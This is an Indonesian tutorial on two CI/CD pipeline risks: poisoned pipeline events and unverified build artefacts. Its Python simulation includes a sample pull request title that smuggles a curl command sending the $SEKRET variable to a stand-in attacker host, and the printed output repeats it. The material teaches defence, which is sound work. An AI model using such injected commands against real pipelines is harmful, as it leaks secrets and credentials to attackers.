Pipeline CI/CD adalah rangkaian pekerjaan otomatis yang membangun, menguji, dan menerapkan aplikasi setiap ada perubahan kode. Kedudukan itu menjadikan pipeline sasaran yang bernilai karena di dalamnya terkumpul secret, kredensial registry, dan kewenangan deploy ke production. Pada OWASP Top 10:2025, serangan terhadap rantai pasok termasuk kategori A03 Software Supply Chain Failures, sedangkan pergantian artefak menyentuh kategori A08 Software or Data Integrity Failures. Topik ini membahas dua risiko yang paling sering dimanfaatkan, yaitu peristiwa pipeline beracun dan artefak yang tidak diverifikasi integritasnya, beserta penutupan keduanya dalam satu skrip simulasi.
Pipeline sebagai target yang bernilai#
CI/CD (continuous integration/continuous deployment) menjalankan pekerjaan build dan deploy secara otomatis atas peristiwa repository, termasuk push pada branch tertentu dan pembukaan pull request (permintaan penggabungan perubahan). Agar dapat menerapkan aplikasi, pekerjaan pipeline memegang secret, yaitu informasi rahasia seperti kunci deploy dan kredensial cloud yang dipasang sebagai variabel lingkungan. Dengan demikian, kode yang berjalan di pipeline berada pada konteks paling berhak di seluruh siklus pengembangan, dan setiap masukan yang diterimanya perlu dinilai dari sisi kepercayaan.
Diagram berikut menempatkan titik-titik kepercayaan pada alur pipeline. Masukan pull request memasuki trigger dari luar lingkup berhak, sedangkan secret baru tersedia mulai tahap build.
Karena trigger berjalan otomatis, pipeline mengeksekusi pekerjaan tanpa kehadiran manusia dan dengan kecepatan tinggi. Sifat inilah yang dicari penyerang: satu masukan yang lolos validasi dieksekusi dengan hak penuh, lalu berulang setiap kali peristiwa baru tiba. Dua celah yang paling sering dimanfaatkan dibahas berurutan berikut ini.
Peristiwa pipeline beracun#
Poisoned pipeline event adalah penyalahgunaan masukan peristiwa, misalnya judul pull request, nama branch, atau pesan commit, yang tersusun langsung ke dalam perintah yang dijalankan dengan hak pipeline. Masukan semacam ini terlihat jinak karena berupa teks keterangan yang tidak dieksekusi langsung. Bila teks itu ditempelkan ke dalam perintah tanpa validasi, batas antara data dan perintah hilang, sehingga penyerang menyusun bagian perintahnya sendiri melalui kolom yang semestinya hanya berisi keterangan.
Skrip berikut menyimulasikan dua risiko sekaligus. Bagian pertama menyusun perintah deploy dari judul pull request, memperlihatkan bentuk cacatnya, lalu menunjukkan perlakuan yang benar setelah masukan divalidasi dan dikutip. Bagian kedua memverifikasi integritas artefak dan dibahas pada bagian berikutnya. Simpan berkas sebagai risiko-pipeline.py, lalu jalankan dengan perintah python3 risiko-pipeline.py.
"""Dua risiko keamanan pada pipeline CI/CD dan penutupannya.
Bagian pertama memperlihatkan poisoned pipeline event, yaitu perintah
yang tersusun langsung dari masukan pull request tanpa validasi, lalu
bentuk amannya setelah masukan divalidasi dan dikutip. Bagian kedua
memverifikasi integritas artefak dengan sha256 terhadap hash yang
diharapkan berasal dari pekerjaan build.
"""
import hashlib
import shlex
def susun_perintah_cacat(judul_pr):
# catatan deploy disusun langsung dari masukan tak terpercaya
return f'deploy.sh --catatan "{judul_pr}"'
def susun_perintah_aman(judul_pr):
# masukan ditolak bila memuat karakter yang tidak diizinkan
if any(karakter in judul_pr for karakter in ('"', "'", ";", "$")):
raise ValueError("judul memuat karakter yang tidak diizinkan")
return f"deploy.sh --catatan {shlex.quote(judul_pr)}"
ARTEFAK_ASLI = b"paket-aplikasi-catatan-1.0.0: index.html, app.js, gaya.css"
HASH_DIHARAPKAN = hashlib.sha256(ARTEFAK_ASLI).hexdigest()
def verifikasi(data, hash_diharapkan):
hash_hitung = hashlib.sha256(data).hexdigest()
return hash_hitung == hash_diharapkan, hash_hitung
def utama():
print("== Dua risiko keamanan pada pipeline CI/CD ==")
print()
print("[1] Poisoned pipeline event: masukan pull request masuk ke perintah")
judul_pr = 'tambah laporan"; curl https://penyerang.example/kumpul?d=$SEKRET #'
print(f"judul pull request : {judul_pr}")
print(f"perintah tersusun : {susun_perintah_cacat(judul_pr)}")
print("bagian setelah titik koma ikut berjalan dengan hak pipeline")
print()
print("[1b] Setelah validasi masukan dan pengutipan argumen")
judul_baik = "tambah laporan rekap nilai"
print(f"judul sah : {susun_perintah_aman(judul_baik)}")
try:
susun_perintah_aman(judul_pr)
except ValueError as exc:
print(f"judul berbahaya : ditolak ({exc})")
print()
print("[2] Verifikasi integritas artefak dengan sha256")
print(f"hash diharapkan : {HASH_DIHARAPKAN}")
cocok, hash_a = verifikasi(ARTEFAK_ASLI, HASH_DIHARAPKAN)
status_a = "COCOK" if cocok else "TIDAK COCOK"
print(f"artefak-a : {hash_a} -> {status_a}")
artefak_b = ARTEFAK_ASLI.replace(b"app.js", b"app.js.bak")
cocok_b, hash_b = verifikasi(artefak_b, HASH_DIHARAPKAN)
status_b = "COCOK" if cocok_b else "TIDAK COCOK (isi berubah setelah build)"
print(f"artefak-b : {hash_b} -> {status_b}")
utama()== Dua risiko keamanan pada pipeline CI/CD ==
[1] Poisoned pipeline event: masukan pull request masuk ke perintah
judul pull request : tambah laporan"; curl https://penyerang.example/kumpul?d=$SEKRET #
perintah tersusun : deploy.sh --catatan "tambah laporan"; curl https://penyerang.example/kumpul?d=$SEKRET #"
bagian setelah titik koma ikut berjalan dengan hak pipeline
[1b] Setelah validasi masukan dan pengutipan argumen
judul sah : deploy.sh --catatan 'tambah laporan rekap nilai'
judul berbahaya : ditolak (judul memuat karakter yang tidak diizinkan)
[2] Verifikasi integritas artefak dengan sha256
hash diharapkan : a2b4a4fc60a3c1d5a01509de14f6cdb3a7ecf25d4f99b244aaf965851bfdc162
artefak-a : a2b4a4fc60a3c1d5a01509de14f6cdb3a7ecf25d4f99b244aaf965851bfdc162 -> COCOK
artefak-b : 77a7f7e01fa51e1ff0aaf080e37351bcec8322682616391e34cc000f7d21311f -> TIDAK COCOK (isi berubah setelah build)Pada bentuk cacat, potongan "; curl ... menutup kutipan lebih awal sehingga perintah tambahan ikut berjalan dan membawa isi variabel SEKRET keluar dari lingkungan pipeline. Pada bentuk aman, judul yang memuat karakter berisiko ditolak sebelum perintah disusun, sedangkan judul yang sah tetap dikutip oleh shlex.quote agar spasi tidak mengubah struktur argumen. Prinsipnya sama dengan injection lain: masukan tidak pernah boleh ikut menyusun struktur perintah, dan mekanisme parameter milik alat CI/CD lebih diutamakan daripada penyusunan string.
Verifikasi integritas artefak#
Artefak adalah paket hasil build yang diteruskan dari pekerjaan build ke pekerjaan deploy. Bila kanal di antara keduanya tidak dijaga, isi artefak dapat berganti tanpa terdeteksi, misalnya karena pekerjaan lain yang disusupi menyunting paket di tengah perjalanan. Verifikasi integritas menutup celah ini: pekerjaan build menghitung nilai sha256 artefak, nilai tersebut dicatat pada kanal yang terpisah, dan pekerjaan deploy menghitung ulang sebelum menerapkan. Bagian kedua skrip di atas menunjukkan perbandingan itu atas dua artefak.
Artefak-a cocok karena byte-nya identik dengan yang dihitung pada saat build, sehingga deploy boleh diteruskan. Pada artefak-b, hanya satu nama berkas yang berganti di dalam paket, tetapi hash-nya berubah total dan langsung ditolak dengan keterangan “TIDAK COCOK”. Sensitivitas inilah yang membuat perbandingan hash menjadi pemeriksaan murah sekaligus efektif sebelum tahap yang berhak dijalankan.
Langkah lanjutan adalah tanda tangan digital atas artefak, yaitu hash yang ditandatangani dengan kunci pribadi lalu diverifikasi dengan kunci publik, sehingga keaslian pembuatnya juga terjamin dan bukan sekadar kesamaan isi. Penguatan pipeline secara menyeluruh, termasuk isolasi pekerjaan dan pengelolaan secret, dibahas lebih lanjut pada jalur CI/CD.
Kesalahan umum#
Kesalahan berikut sering ditemukan pada konfigurasi pipeline.
- Menyusun perintah dengan interpolasi string dari masukan peristiwa seperti judul pull request. Gunakan variabel bawaan alat CI/CD atau validasi ketat disertai pengutipan sebelum masukan menyentuh baris perintah.
- Mengambil hash yang diharapkan dari lokasi yang sama dengan artefaknya. Kanal yang sama dapat terganti bersama-sama, sehingga verifikasi tampak berhasil padahal isinya sudah berubah.
- Mematikan verifikasi integritas demi mempercepat rilis. Tahap pemeriksaan hanya berlangsung hitungan detik, sedangkan artefak yang terganti berpotensi mencapai production tanpa diketahui.
Ringkasan#
- Pipeline memegang secret dan kewenangan deploy sehingga menjadi aset build yang paling bernilai, dengan masukan peristiwa sebagai permukaan serangannya.
- Poisoned pipeline event terjadi ketika masukan peristiwa seperti judul pull request tersusun ke dalam perintah berhak tanpa validasi dan pengutipan.
- Verifikasi sha256 artefak terhadap hash dari kanal terpisah menolak artefak yang berganti isi, dan tanda tangan digital menambah jaminan keaslian pembuatnya.
Referensi#
- A03:2025 Software Supply Chain Failures — OWASP Top 10 — Kategori OWASP Top 10:2025 yang mencakup serangan terhadap pipeline dan rantai pasok build.
- OWASP Top 10:2025 — OWASP Top 10 — Daftar lengkap kategori edisi 2025, termasuk A08 tentang integritas perangkat lunak dan data.